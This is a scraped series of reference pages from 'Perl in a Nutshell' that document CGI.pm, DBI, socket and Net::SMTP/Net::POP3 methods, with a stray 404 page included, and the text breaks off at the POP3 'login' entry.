A hash reference listing labels for each list item. Default is the list text itself. See popup_menu for an example.

Using named parameters, the syntax is:

print $query->scrolling_list(-name=>'name',
                             -values=>\@listarray,
                             -default=>selected,
                             -size=>size,
                             -multiple=>'true',
                             -labels=>\%labelhash,
                             -onChange=>function,
                             -onFocus=>function,
                             -onBlur=>function);
-onChange=>function

Browser should execute function when the user changes the text field.

-onFocus=>function

Browser should execute function when the focus is on on the text field.

-onBlur=>function

Browser should execute function when the focus leaves the text field.

Previous: Reference: script_name | Perl in a Nutshell | Next: Reference: self_url
Reference: script_name | Book Index | Reference: self_url


Reference: self_url

Perl in a Nutshell

Perl in a NutshellSearch this book

self_url

 $url = $query->self_url

Returns the URL of the current script with all its state information intact.

Previous: Reference: scrolling_list | Perl in a Nutshell | Next: Reference: start_html
Reference: scrolling_list | Book Index | Reference: start_html


Reference: start_html

Perl in a Nutshell

Perl in a NutshellSearch this book

start_html

 print $query->start_html(['title', 'email', 'base', 'attribute='value'])

Generates <HTML> and <BODY> tags.

title

The title of the page.

email

The author's email address.

base

Whether to use a <BASE> tag in the header.

attribute='value'

Specifies an attribute to the <BODY> tag.

Using named parameters, the syntax is:

print $query->start_html(-title=>'title',
                         -author=>'email_address',
                         -base=>'true',
                         -xbase=>'url',
                         -meta=>{'metatag1'=>'value1',
                                 'metatag2'=>'value2'},
                         -script=>'$script',
                         -onLoad=>'$function',
                         -onUnload=>'$function',
                         -attribute=>'value');
-title=>'title'

Specifies the title of the page.

-author=>'email_address'

Specifies the author's email address.

-xbase=>'url'

Provides an HREF for the <BASE> tag. Default is the current location.

-meta=>{'metatag1'=>'value1', ... }

Adds arbitrary meta information to the header as a reference to a hash. Valid tags are:

keywords

Keywords for this document.

copyright

Description for this document.

attribute=>'value'

Specify an attribute to the <BODY> tag.

-script=>'$script'

Specify a JavaScript script to be embedded within a <SCRIPT> block.

-onLoad=>'$function'

Browser should execute the specified function upon entering the page.

-onUnload=>'$function'

Browser should execute the specified function upon leaving the page.

Previous: Reference: self_url | Perl in a Nutshell | Next: Reference: startform
Reference: self_url | Book Index | Reference: startform


Reference: startform

Perl in a Nutshell

Perl in a NutshellSearch this book

startform

 print $query->startform([method, action, encoding])

Generates a <FORM> tag.

method

The request method for the form. Values are:

POST

Use the POST method (default).

GET

Use the GET method.

action

The URL of the CGI script. Default is the current URL.

encoding

The encoding scheme. Possible values are application/x-www-form-urlencoded and multipart/form-data.

Using named parameters, the syntax is:

print $query->startform(-method=>$method,
                        -action=>$action,
                        -encoding=>$encoding,
                        -name=>$name,
                        -target=>frame,
                        -onSubmit=>function);
-name=>name

Names the form for identification by JavaScript functions.

-target=>frame

Writes to the specified frame.

-onSubmit=>function

A JavaScript function that the browser should execute upon submitting the form.

Previous: Reference: start_html | Perl in a Nutshell | Next: Reference: start_multipart_form
Reference: start_html | Book Index | Reference: start_multipart_form


Reference: start_multipart_form

Perl in a Nutshell

Perl in a NutshellSearch this book

start_multipart_form

 print $query->start_multipart_form([method, action])

Generates <HTML> and <BODY> tags. Same as startform, but assumes multipart/form-data encoding as the default.

Previous: Reference: startform | Perl in a Nutshell | Next: Reference: submit
Reference: startform | Book Index | Reference: submit


Reference: submit

Perl in a Nutshell

Perl in a NutshellSearch this book

submit

 print $query->submit([ 'label','value' ])

Generates a submit button.

label

The label to use for the button.

value

The value to return when the form is submitted.

Using named parameters, the syntax is:

print $query->submit(-name=>'name',
                     -value=>'value',
                     -onClick=>function);
-onClick=>function

Browser should execute function when the user clicks on the submit button.

Previous: Reference: start_multipart_form | Perl in a Nutshell | Next: Reference: textarea
Reference: start_multipart_form | Book Index | Reference: textarea


Reference: textarea

Perl in a Nutshell

Perl in a NutshellSearch this book

textarea

 print $query->textarea('name' [,'value',rows,columns ])

Generates a large multiline text input box.

name

The name to assign the input to (required).

value

The initial value to place into the text input box.

rows

The number of rows to display.

columns

The number of columns to display.

Using named parameters, the syntax is:

print $query->textarea(-name=>'name',
                       -default=>'value',
                       -rows=>rows,
                       -columns=>columns,
                       -override=>1,
                       -onChange=>function,
                       -onFocus=>function,
                       -onBlur=>function,
                       -onSelect=>function);
-override=>1

Text field should not inherit its value from a previous invocation of the script.

-onChange=>function

Browser should execute function when the user changes the text field.

-onFocus=>function

Browser should execute function when the focus is on on the text field.

-onBlur=>function

Browser should execute function when the focus leaves the text field.

-onSelect=>function

Browser should execute function when the user changes a selected portion of the text field.

Previous: Reference: submit | Perl in a Nutshell | Next: Reference: textfield
Reference: submit | Book Index | Reference: textfield


Reference: textfield

Perl in a Nutshell

Perl in a NutshellSearch this book

textfield

 print $query->textfield('name' [,'value', size, maxlength])

Generates a text input field.

name

The name to assign the input to (required).

value

The initial value to place in the text field.

size

The size of the text field (in characters).

maxlength

The maximum length of the text field (in characters).

Using named parameters, the syntax is:

print $query->textfield(-name=>'name',
                        -default=>'value',
                        -size=>size,
                        -maxlength=>maxlength,
                        -override=>1,
                        -onChange=>function,
                        -onFocus=>function,
                        -onBlur=>function,
                        -onSelect=>function);
-override=>1

Text field should not inherit its value from a previous invocation of the script.

-onChange=>function

Browser should execute function when the user changes the text field.

-onFocus=>function

Browser should execute function when the focus is on on the text field.

-onBlur=>function

Browser should execute function when the focus leaves the text field.

-onSelect=>function

Browser should execute function when the user changes a selected portion of the text field.

Previous: Reference: textarea | Perl in a Nutshell | Next: Reference: url
Reference: textarea | Book Index | Reference: url


Reference: url

Perl in a Nutshell

Perl in a NutshellSearch this book

url

 $url = $query->url

Returns a URL of the current script without query information.

Previous: Reference: textfield | Perl in a Nutshell | Next: Reference: use_named_parameters
Reference: textfield | Book Index | Reference: use_named_parameters


Reference: use_named_parameters

Perl in a Nutshell

Perl in a NutshellSearch this book

use_named_parameters

 use_named_parameters()

Specifies that functions should take named parameters.

Previous: Reference: url | Perl in a Nutshell | Next: Reference: user_agent
Reference: url | Book Index | Reference: user_agent


Reference: user_agent

Perl in a Nutshell

Perl in a NutshellSearch this book

user_agent

 $query->user_agent( [string] )

Returns the value of the HTTP_USER_AGENT header.

string

If specified, only returns headers matching the specified string.

Previous: Reference: use_named_parameters | Perl in a Nutshell | Next: Reference: user_name
Reference: use_named_parameters | Book Index | Reference: user_name


Reference: user_name

Perl in a Nutshell

Perl in a NutshellSearch this book

user_name

 user_name()

Returns the remote user's login name; unreliable.

Previous: Reference: user_agent | Perl in a Nutshell | Next: 10. The CGI.pm Module
Reference: user_agent | Book Index | 10. The CGI.pm Module


Reference: available_drivers

Perl in a Nutshell

Perl in a NutshellSearch this book

available_drivers

 @drivers = DBI->available_drivers([nowarn])

Returns a list of available drivers by searching @INC for the presence of DBD::* modules.

nowarn

A boolean value specifying whether to suppress warnings if some drivers are hidden by others of the same name in earlier directories. Default is false (don't suppress).

Previous: 12.3 DBI Methods | Perl in a Nutshell | Next: Reference: bind_param
12.3 DBI Methods | Book Index | Reference: bind_param


Reference: bind_param

Perl in a Nutshell

Perl in a NutshellSearch this book

bind_param

 $result = $st_handle->bind_param(n, value [, type ])

Binds a value with a placeholder in a prepared statement.

n

The parameter number to bind.

value

The value to associate with parameter n.

type

The data type for the placeholder. The type can also be specified as an anonymous list ({TYPE => type}).

Previous: Reference: available_drivers | Perl in a Nutshell | Next: Reference: commit
Reference: available_drivers | Book Index | Reference: commit


Reference: commit

Perl in a Nutshell

Perl in a NutshellSearch this book

commit

 $result = $db_handle->commit

Commits the most recent changes. See also the AutoCommit attribute.

Previous: Reference: bind_param | Perl in a Nutshell | Next: Reference: connect
Reference: bind_param | Book Index | Reference: connect


Reference: connect

Perl in a Nutshell

Perl in a NutshellSearch this book

connect

 $db_handle = DBI->connect(data_source, user, passwd, [\%attr])

Connects to the specified database, returning a database handle object. The connect method automatically installs the driver if it has not already been installed.

data_source

A string identifying the driver to connect to, and any other additional driver-specific information needed to identify the driver (e.g., a port number.) The driver name is written in the form dbi:driver_name, e.g., dbi:mSQL. (Default value is taken from the DBI_DSN environment variable.) For example, a connection string for the mSQL driver always starts with dbi:mSQL:. The second colon should be followed by any information required by the driver to make the database connection. In the case of mSQL, you must supply a database name (bookdb in the following example), a hostname (localhost), and the port number of the database server (1114):

dbi:mSQL:bookdb:localhost:1114

user

The user name for the database connection. (Default value is taken from the DBI_USER environment variable.)

passwd

The password for the database connection. (Default value is taken from the DBI_PASS environment variable. Set this value at your own risk.)

\%attr

A hash reference defining attributes for the database handle.

Previous: Reference: commit | Perl in a Nutshell | Next: Reference: data_sources
Reference: commit | Book Index | Reference: data_sources


Reference: data_sources

Perl in a Nutshell

Perl in a NutshellSearch this book

data_sources

 @drivers = DBI->data_sources(driver)

Returns a list of all databases available to the named driver. (The database server must be running for data_sources to return any results.)

driver

The driver to list. If unspecified, the value of DBI_DRIVER is used.

Previous: Reference: connect | Perl in a Nutshell | Next: Reference: disconnect
Reference: connect | Book Index | Reference: disconnect


Reference: disconnect

Perl in a Nutshell

Perl in a NutshellSearch this book

disconnect

 $result = $db_handle->disconnect

Disconnects the database.

Previous: Reference: data_sources | Perl in a Nutshell | Next: Reference: do
Reference: data_sources | Book Index | Reference: do


Reference: do

Perl in a Nutshell

Perl in a NutshellSearch this book

do

 $rows = $db_handle->do(statement [, \%attr, @bind_values ])

Prepares and executes a statement, returning the number of rows affected.

statement

The statement to execute.

\%attr

Attributes to set for the new statement.

@bind_values

Bind values for placeholder substitution.

Previous: Reference: disconnect | Perl in a Nutshell | Next: Reference: dump_results
Reference: disconnect | Book Index | Reference: dump_results


Reference: dump_results

Perl in a Nutshell

Perl in a NutshellSearch this book

dump_results

 $rows = DBI::dump_results(st_handle, maxlen, ldelim, fdelim, fileh)

Runs DBI::neat() on all the rows of a statement handle and prints them for testing purposes.

st_handle

The statement handle to retrieve.

maxlen

The length at which to truncate with "..." (default is 35).

ldelim

The delimiter between rows (default is "\n").

fdelim

The delimiter between individual fields (default is ", ").

fileh

The filehandle to print to (default is STDOUT).

Previous: Reference: do | Perl in a Nutshell | Next: Reference: err
Reference: do | Book Index | Reference: err


Reference: err

Perl in a Nutshell

Perl in a NutshellSearch this book

err

 $handle->err

Returns the error code from the last driver function called.

Previous: Reference: dump_results | Perl in a Nutshell | Next: Reference: errstr
Reference: dump_results | Book Index | Reference: errstr


Reference: errstr

Perl in a Nutshell

Perl in a NutshellSearch this book

errstr

 $handle->errstr

Returns the error message from the last driver function called.

Previous: Reference: err | Perl in a Nutshell | Next: Reference: func
Reference: err | Book Index | Reference: func


Reference: func

Perl in a Nutshell

Perl in a NutshellSearch this book

func

 $handle->func(@arguments, function)

Calls a private nonportable method on the specific handle.

@arguments

The arguments to the function.

function

The function name. Note that the function name is specified last.

Previous: Reference: errstr | Perl in a Nutshell | Next: Reference: execute
Reference: errstr | Book Index | Reference: execute


Reference: execute

Perl in a Nutshell

Perl in a NutshellSearch this book

execute

 $result = $st_handle->execute([@bind_values])

Executes a prepared statement.

@bind_values

Binds values for placeholder substitution.

Previous: Reference: func | Perl in a Nutshell | Next: Reference: fetch
Reference: func | Book Index | Reference: fetch


Reference: fetch

Perl in a Nutshell

Perl in a NutshellSearch this book

fetch

 $arrayref = $st_handle->fetch

Fetches the next row of data, returning an array reference with the field values.

Previous: Reference: execute | Perl in a Nutshell | Next: Reference: fetchall_arrayref
Reference: execute | Book Index | Reference: fetchall_arrayref


Reference: fetchall_arrayref

Perl in a Nutshell

Perl in a NutshellSearch this book

fetchall_arrayref

 $arrayref = $st_handle->fetchall_arrayref

Fetches all data from a prepared statement and returns a reference to an array of references.

Previous: Reference: fetch | Perl in a Nutshell | Next: Reference: fetchrow_array
Reference: fetch | Book Index | Reference: fetchrow_array


Reference: fetchrow_array

Perl in a Nutshell

Perl in a NutshellSearch this book

fetchrow_array

 $array = $st_handle->fetchrow_array

Fetches the next row of data, returning an array with the field values.

Previous: Reference: fetchall_arrayref | Perl in a Nutshell | Next: Reference: fetchrow_arrayref
Reference: fetchall_arrayref | Book Index | Reference: fetchrow_arrayref


Reference: fetchrow_arrayref

Perl in a Nutshell

Perl in a NutshellSearch this book

fetchrow_arrayref

 $arrayref = $st_handle->fetchrow_arrayref

Fetches the next row of data, returning an array reference with the field values. Synonym for fetch.

Previous: Reference: fetchrow_array | Perl in a Nutshell | Next: Reference: fetchrow_hashref
Reference: fetchrow_array | Book Index | Reference: fetchrow_hashref


Reference: fetchrow_hashref

Perl in a Nutshell

Perl in a NutshellSearch this book

fetchrow_hashref

 $hashref = $st_handle->fetchrow_hashref

Fetches the next row of data, returning a hash reference containing the field values. The keys of the hash are the same as $st_handle->{NAME}.

Previous: Reference: fetchrow_arrayref | Perl in a Nutshell | Next: Reference: finish
Reference: fetchrow_arrayref | Book Index | Reference: finish


Reference: finish

Perl in a Nutshell

Perl in a NutshellSearch this book

finish

 $result = $st_handle->finish

Disables further fetching from a statement.

Previous: Reference: fetchrow_hashref | Perl in a Nutshell | Next: Reference: neat
Reference: fetchrow_hashref | Book Index | Reference: neat


Reference: neat

Perl in a Nutshell

Perl in a NutshellSearch this book

neat

 $newstring = DBI::neat(string, maxlength)

Converts a string to one with quoted strings, null values shown as undef, and unprintable characters shown as ".".

string

The string to convert.

maxlength

The length at which to truncate the string with "...".

Previous: Reference: finish | Perl in a Nutshell | Next: Reference: neat_list
Reference: finish | Book Index | Reference: neat_list


Reference: neat_list

Perl in a Nutshell

Perl in a NutshellSearch this book

neat_list

 $newstring = DBI::neat_list(\@list, maxlength, delim)

Converts each element of a list with DBI::neat and returns it as a string.

\@list

A reference to the list to convert.

maxlength

The length at which to truncate the string with "...".

delim

The delimiter to use between list elements in the new string. The default is ", ".

Previous: Reference: neat | Perl in a Nutshell | Next: Reference: ping
Reference: neat | Book Index | Reference: ping


Reference: ping

Perl in a Nutshell

Perl in a NutshellSearch this book

ping

 $result = $db_handle->ping

Determines if the database is still connected.

Previous: Reference: neat_list | Perl in a Nutshell | Next: Reference: prepare
Reference: neat_list | Book Index | Reference: prepare


Reference: prepare

Perl in a Nutshell

Perl in a NutshellSearch this book

prepare

 $st_handle = $db_handle->prepare(statement [, \%attr ])

Prepares a statement for execution and returns a reference to a statement handle object.

statement

The statement to prepare.

\%attr

Attributes to set for the assigned statement handle.

Previous: Reference: ping | Perl in a Nutshell | Next: Reference: quote
Reference: ping | Book Index | Reference: quote


Reference: quote

Perl in a Nutshell

Perl in a NutshellSearch this book

quote

 $sql = $db_handle->quote(string)

Escapes special characters in a string for use in an SQL statement.

string

The string to convert.

Previous: Reference: prepare | Perl in a Nutshell | Next: Reference: rollback
Reference: prepare | Book Index | Reference: rollback


Reference: rollback

Perl in a Nutshell

Perl in a NutshellSearch this book

rollback

 $result = $db_handle->rollback

Undoes the most recent database changes if not yet committed.

Previous: Reference: quote | Perl in a Nutshell | Next: Reference: rows
Reference: quote | Book Index | Reference: rows


Reference: rows

Perl in a Nutshell

Perl in a NutshellSearch this book

rows

 $rows = $st_handle->rows

Returns the number of rows affected by the last change to the database.

Previous: Reference: rollback | Perl in a Nutshell | Next: Reference: bind_col
Reference: rollback | Book Index | Reference: bind_col


Reference: bind_col

Perl in a Nutshell

Perl in a NutshellSearch this book

bind_col

 $result = $st_handle->bind_col(col, \variable [, \%attr ])

Binds a field of a select statement to a variable, to be updated whenever the row is fetched.

col

The column number to bind.

\variable

A reference to the variable to bind.

\%attr

Attributes to set for the statement handle.

Previous: Reference: rows | Perl in a Nutshell | Next: Reference: bind_columns
Reference: rows | Book Index | Reference: bind_columns


Reference: bind_columns

Perl in a Nutshell

Perl in a NutshellSearch this book

bind_columns

 $result = $st_handle->bind_columns(\%attr, @reflist )

Runs bind_col on each column of the statement.

\%attr

Attributes to set for the statement handle.

@reflist

A list of references to the variables to bind.

Previous: Reference: bind_col | Perl in a Nutshell | Next: Reference: state
Reference: bind_col | Book Index | Reference: state


Reference: state

Perl in a Nutshell

Perl in a NutshellSearch this book

state

 $handle->state

Returns an error code in a five-character format.

Previous: Reference: bind_columns | Perl in a Nutshell | Next: Reference: trace
Reference: bind_columns | Book Index | Reference: trace


Reference: trace

Perl in a Nutshell

Perl in a NutshellSearch this book

trace

 DBI->trace(n, filename)

Traces the execution of DBI.

n

An integer indicating the level of trace/debugging information, as follows:

0

Disable the trace.

1

Trace the execution of the DBI.

2

Output detailed call trace information including parameters and return values.

filename

The file to append trace information to.

Previous: Reference: state | Perl in a Nutshell | Next: Reference: trace
Reference: state | Book Index | Reference: trace


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c12_030.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: inet_aton

Perl in a Nutshell

Perl in a NutshellSearch this book

inet_aton

inet_aton (hostname)

Translates a hostname such as www.oreilly.com or 18.181.0.24 into a data structure (a four-byte string) used for socket addresses. If the hostname cannot be resolved, the function returns the undefined value.

Previous: 13. Sockets | Perl in a Nutshell | Next: Reference: inet_ntoa
13. Sockets | Book Index | Reference: inet_ntoa


Reference: inet_ntoa

Perl in a Nutshell

Perl in a NutshellSearch this book

inet_ntoa

inet_ntoa (addr_string)

Translates a four-byte address string (as returned by inet_aton) into a string with the dotted-quad form of IP address.

Previous: Reference: inet_aton | Perl in a Nutshell | Next: Reference: sockaddr_in
Reference: inet_aton | Book Index | Reference: sockaddr_in


Reference: sockaddr_in

Perl in a Nutshell

Perl in a NutshellSearch this book

sockaddr_in

sockaddr_in (port, addr_string)
pack_sockaddr_in (port, addr_string)

Takes a port number and a four-byte addr_string (as returned by inet_aton) and returns the socket address structure including those arguments packed with the AF_INET argument. This structure is normally what you need for the arguments in bind, connect, and send, and is also returned by getpeername, getsockname, and recv.

Previous: Reference: inet_ntoa | Perl in a Nutshell | Next: Reference: sockaddr_un
Reference: inet_ntoa | Book Index | Reference: sockaddr_un


Reference: sockaddr_un

Perl in a Nutshell

Perl in a NutshellSearch this book

sockaddr_un

sockaddr_un (pathname)
pack_sockaddr_un (pathname)

Takes one argument, a pathname, and returns the Unix domain socket address structure (the path packed in with AF_UNIX filled in). For Unix domain sockets, this structure is normally what you need for the arguments in bind, connect, and send, and is also returned by getpeername, getsockname, and recv.

Previous: Reference: sockaddr_in | Perl in a Nutshell | Next: Reference: unpack_sockaddr_in
Reference: sockaddr_in | Book Index | Reference: unpack_sockaddr_in


Reference: unpack_sockaddr_in

Perl in a Nutshell

Perl in a NutshellSearch this book

unpack_sockaddr_in

unpack_sockaddr_in (sockaddr)
sockaddr_in (sockaddr)

Takes a socket address structure and returns an array of two elements (in list context): the port number and the four-byte IP address.

Previous: Reference: sockaddr_un | Perl in a Nutshell | Next: Reference: unpack_sockaddr_un
Reference: sockaddr_un | Book Index | Reference: unpack_sockaddr_un


Reference: unpack_sockaddr_un

Perl in a Nutshell

Perl in a NutshellSearch this book

unpack_sockaddr_un

unpack_sockaddr_un (sockaddr_un)
sockaddr_un (sockaddr_un)

Takes a Unix domain socket address structure (as returned by sockaddr_un) and returns the pathname.

Previous: Reference: unpack_sockaddr_in | Perl in a Nutshell | Next: 13.1 Built-in Socket Functions
Reference: unpack_sockaddr_in | Book Index | 13.1 Built-in Socket Functions


Reference: accept

Perl in a Nutshell

Perl in a NutshellSearch this book

accept

accept ([pkg])

Performs the accept system call on a socket and returns a new object. The new object is created in the same class as the listen socket, unless pkg is specified. The object can be used to communicate with the client that was trying to connect. In a scalar context, the new socket is returned, or undef on failure. In an array context, a two-element array is returned containing the new socket and the peer address, or an empty list on failure.

Previous: 13.2 The IO::Socket Module | Perl in a Nutshell | Next: Reference: timeout
13.2 The IO::Socket Module | Book Index | Reference: timeout


Reference: timeout

Perl in a Nutshell

Perl in a NutshellSearch this book

timeout

timeout ([val])

Sets or retrieves the timeout value associated with a socket. Without an argument, the current value is returned. If a timeout of val is given, the setting is changed to val and the previous value is returned.

Previous: Reference: accept | Perl in a Nutshell | Next: Reference: sockopt
Reference: accept | Book Index | Reference: sockopt


Reference: sockopt

Perl in a Nutshell

Perl in a NutshellSearch this book

sockopt

sockopt (opt, [val])

Sets and retrieves socket option opt in the SOL_SOCKET level. The value val is set for the option, if given. If no value is provided, the function returns the current setting for the option.

Previous: Reference: timeout | Perl in a Nutshell | Next: Reference: sockdomain
Reference: timeout | Book Index | Reference: sockdomain


Reference: sockdomain

Perl in a Nutshell

Perl in a NutshellSearch this book

sockdomain

sockdomain

Returns the number representing the socket address domain. For example, an AF_INET socket has the value &AF_INET.

Previous: Reference: sockopt | Perl in a Nutshell | Next: Reference: socktype
Reference: sockopt | Book Index | Reference: socktype


Reference: socktype

Perl in a Nutshell

Perl in a NutshellSearch this book

socktype

socktype

Returns the number representing the socket type. For example, a SOCK_STREAM socket has the value &SOCK_STREAM.

Previous: Reference: sockdomain | Perl in a Nutshell | Next: Reference: protocol
Reference: sockdomain | Book Index | Reference: protocol


Reference: protocol

Perl in a Nutshell

Perl in a NutshellSearch this book

protocol

protocol

Returns the protocol number for the protocol being used on the socket, if known. If the protocol is unknown, as with an AF_UNIX socket, returns zero.

Previous: Reference: socktype | Perl in a Nutshell | Next: 13. Sockets
Reference: socktype | Book Index | 13. Sockets


Reference: sockaddr

Perl in a Nutshell

Perl in a NutshellSearch this book

sockaddr

sockaddr

Returns the address part (as a packed string) of the socket-address data structure for the socket.

Previous: 13.2 The IO::Socket Module | Perl in a Nutshell | Next: Reference: sockport
13.2 The IO::Socket Module | Book Index | Reference: sockport


Reference: sockport

Perl in a Nutshell

Perl in a NutshellSearch this book

sockport

sockport

Returns the local port number for the socket.

Previous: Reference: sockaddr | Perl in a Nutshell | Next: Reference: sockhost
Reference: sockaddr | Book Index | Reference: sockhost


Reference: sockhost

Perl in a Nutshell

Perl in a NutshellSearch this book

sockhost

sockhost

Returns the address part of the socket-address data structure in the dotted-quad string form, e.g., 207.44.27.2.

Previous: Reference: sockport | Perl in a Nutshell | Next: Reference: peeraddr
Reference: sockport | Book Index | Reference: peeraddr


Reference: peeraddr

Perl in a Nutshell

Perl in a NutshellSearch this book

peeraddr

peeraddr

Returns the address part (packed string) of the socket-address data structure for the remote host to which a socket connects.

Previous: Reference: sockhost | Perl in a Nutshell | Next: Reference: peerport
Reference: sockhost | Book Index | Reference: peerport


Reference: peerport

Perl in a Nutshell

Perl in a NutshellSearch this book

peerport

peerport

Returns the port number for the remote host to which a socket connects.

Previous: Reference: peeraddr | Perl in a Nutshell | Next: Reference: peerhost
Reference: peeraddr | Book Index | Reference: peerhost


Reference: peerhost

Perl in a Nutshell

Perl in a NutshellSearch this book

peerhost

peerhost

Returns the remote host address in the dotted-quad string form, i.e., 207.44.27.2.

Previous: Reference: peerport | Perl in a Nutshell | Next: 13. Sockets
Reference: peerport | Book Index | 13. Sockets


Reference: hostpath

Perl in a Nutshell

Perl in a NutshellSearch this book

hostpath

hostpath

Returns the pathname to the local FIFO buffer.

Previous: 13.2 The IO::Socket Module | Perl in a Nutshell | Next: Reference: peerpath
13.2 The IO::Socket Module | Book Index | Reference: peerpath


Reference: peerpath

Perl in a Nutshell

Perl in a NutshellSearch this book

peerpath

peerpath

Returns the pathname to the destination or peer FIFO.

Previous: Reference: hostpath | Perl in a Nutshell | Next: 13. Sockets
Reference: hostpath | Book Index | 13. Sockets


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $smtp = Net::SMTP->new(host[, options])

Constructor. Takes the hostname of the remote mail server, host, and possibly some options, and creates a new SMTP object. Any options are passed to new as a hash, where the option is the key. The possible options are:

Debug

Enables debug mode if set to 1. Provides information about your connection, requests, and responses.

Hello

Sends a HELO command to the SMTP server. Takes a string that represents your domain; if not specified, Hello guesses your domain.

Timeout

Time (in seconds) after which the client stops trying to establish a connection with the SMTP server. Defaults to 120 seconds. If the connection cannot be established, the constructor returns undef.

Previous: 14. Email Connectivity | Perl in a Nutshell | Next: Reference: data
14. Email Connectivity | Book Index | Reference: data


Reference: data

Perl in a Nutshell

Perl in a NutshellSearch this book

data

 $smtp->data([bodydata])

Starts sending the body of the current message to the server. If specified, bodydata can be a list or a reference to a list; the contents of the list and the termination string .\r\n are sent to the server. Returns true if accepted.

If bodydata is not specified, then a true result means that the server is ready to receive data, which must be sent with the datasend and dataend methods (inherited from Net::Cmd).

Previous: Reference: new | Perl in a Nutshell | Next: Reference: dataend
Reference: new | Book Index | Reference: dataend


Reference: dataend

Perl in a Nutshell

Perl in a NutshellSearch this book

dataend

 $smtp->dataend()

Net::Cmd method issued after datasend to end the sending of data. Sends .\r\n to the server telling it that there's no more data coming and that it should send the message.

Here's an example that uses datasend and dataend:

@list_data = (1..10);
$smtp->data();
$smtp->datasend(@list_data);
$smtp->dataend();

Previous: Reference: data | Perl in a Nutshell | Next: Reference: datasend
Reference: data | Book Index | Reference: datasend


Reference: datasend

Perl in a Nutshell

Perl in a NutshellSearch this book

datasend

 $smtp->datasend("data")

Net::Cmd method that sends the body of the message to the remote server if the body wasn't specified with the data method.

Previous: Reference: dataend | Perl in a Nutshell | Next: Reference: domain
Reference: dataend | Book Index | Reference: domain


Reference: domain

Perl in a Nutshell

Perl in a NutshellSearch this book

domain

 $smtp->domain()

Returns the domain of the remote SMTP server, or undef.

Previous: Reference: datasend | Perl in a Nutshell | Next: Reference: expand
Reference: datasend | Book Index | Reference: expand


Reference: expand

Perl in a Nutshell

Perl in a NutshellSearch this book

expand

 $smtp->expand(address)

Requests the server to expand address. Returns an array containing the text from the server.

Previous: Reference: domain | Perl in a Nutshell | Next: Reference: hello
Reference: domain | Book Index | Reference: hello


Reference: hello

Perl in a Nutshell

Perl in a NutshellSearch this book

hello

 $smtp->hello(domain)

Identifies your domain to the mail server. Executes automatically when you create a Net::SMTP object, so you shouldn't have to do it manually.

Previous: Reference: expand | Perl in a Nutshell | Next: Reference: help
Reference: expand | Book Index | Reference: help


Reference: help

Perl in a Nutshell

Perl in a NutshellSearch this book

help

 $help_text = $smtp->help([subject])

Returns help text from the server, or undef on failure. If subject is specified, returns help for that topic.

Previous: Reference: hello | Perl in a Nutshell | Next: Reference: mail
Reference: hello | Book Index | Reference: mail


Reference: mail

Perl in a Nutshell

Perl in a NutshellSearch this book

mail

$smtp->mail(address[, options])
$smtp->send(address)
send_or_mail(address)
send_and_mail(address)

Takes the sender's address and sends the appropriate command (MAIL, SEND, SOML, or SAML) to the server to initiate the message-sending process.

mail can take some ESMTP options, passed as key/value pairs.

See the Net::SMTP documentation for the details.

Previous: Reference: help | Perl in a Nutshell | Next: Reference: quit
Reference: help | Book Index | Reference: quit


Reference: quit

Perl in a Nutshell

Perl in a NutshellSearch this book

quit

 $smtp->quit

This method sends the QUIT command to the remote SMTP server and closes the socket connection.

Previous: Reference: mail | Perl in a Nutshell | Next: Reference: recipient
Reference: mail | Book Index | Reference: recipient


Reference: recipient

Perl in a Nutshell

Perl in a NutshellSearch this book

recipient

 $smtp->recipient(addr[, addr[, ...]])

Tells the server to send the current message to all specified recipients. As defined in the RFC, each address is sent as a separate command to the server. If the sending of any address fails, the process aborts and returns false; you can then call reset to reset the server.

Previous: Reference: quit | Perl in a Nutshell | Next: Reference: reset
Reference: quit | Book Index | Reference: reset


Reference: reset

Perl in a Nutshell

Perl in a NutshellSearch this book

reset

 $smtp->reset()

Resets the server's status. Useful for cancelling a message after it has been initiated but before any data has been sent.

Previous: Reference: recipient | Perl in a Nutshell | Next: Reference: to
Reference: recipient | Book Index | Reference: to


Reference: to

Perl in a Nutshell

Perl in a NutshellSearch this book

to

 $smtp->to(address[, address[, ...]])

Interchangeable with recipient.

Previous: Reference: reset | Perl in a Nutshell | Next: Reference: verify
Reference: reset | Book Index | Reference: verify


Reference: verify

Perl in a Nutshell

Perl in a NutshellSearch this book

verify

 $smtp->verify(address)

Verifies that the specified mail address is valid. However, many servers ignore verify, so it frequently doesn't work.

Previous: Reference: to | Perl in a Nutshell | Next: 14.1 The Net Modules
Reference: to | Book Index | 14.1 The Net Modules


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

 $pop = Net::POP3->new([host,] [options])

Constructor. Creates a new Net::POP3 object. host is the name of the remote host to which you want to make a POP3 connection. If host is not specified, then the POP3_Host specified in Net::Config is used.

options are passed as key/value pairs, where the option is the key. The possible options are:

Debug

Enables debugging information

Timeout

Maximum time, in seconds, to wait for a response from the POP3 server. Default is 120 seconds.

Previous: 14. Email Connectivity | Perl in a Nutshell | Next: Reference: apop
14. Email Connectivity | Book Index | Reference: apop


Reference: apop

Perl in a Nutshell

Perl in a NutshellSearch this book

apop

 $pop->apop(user, pass)

Authenticates user with password pass with the server. The password is not sent in clear text. Requires the MD5 package, otherwise returns undef.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: delete
Reference: new | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

 $pop->delete(msgnum)

Marks message msgnum for deletion from the remote mailbox. All messages marked for deletion are removed when the connection to the server is closed.

Previous: Reference: apop | Perl in a Nutshell | Next: Reference: get
Reference: apop | Book Index | Reference: get


Reference: get

Perl in a Nutshell

Perl in a NutshellSearch this book

get

 $pop->get(msgnum)

Gets message msgnum from remote mailbox. Returns a reference to an array containing lines of text read from the server.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: last
Reference: delete | Book Index | Reference: last


Reference: last

Perl in a Nutshell

Perl in a NutshellSearch this book

last

 $pop->last()

Returns the highest message number.

Previous: Reference: get | Perl in a Nutshell | Next: Reference: list
Reference: get | Book Index | Reference: list


Reference: list

Perl in a Nutshell

Perl in a NutshellSearch this book

list

 $pop->list([msgnum])

If called with an argument, returns the size of message msgnum. If called without an argument, returns a hash reference, where the keys are the message numbers of all undeleted messages, and each corresponding value is the size of the message.

Previous: Reference: last | Perl in a Nutshell | Next: Reference: login
Reference: last | Book Index | Reference: login


Reference: login

Perl in a Nutshell

Perl in a NutshellSearch this book

login

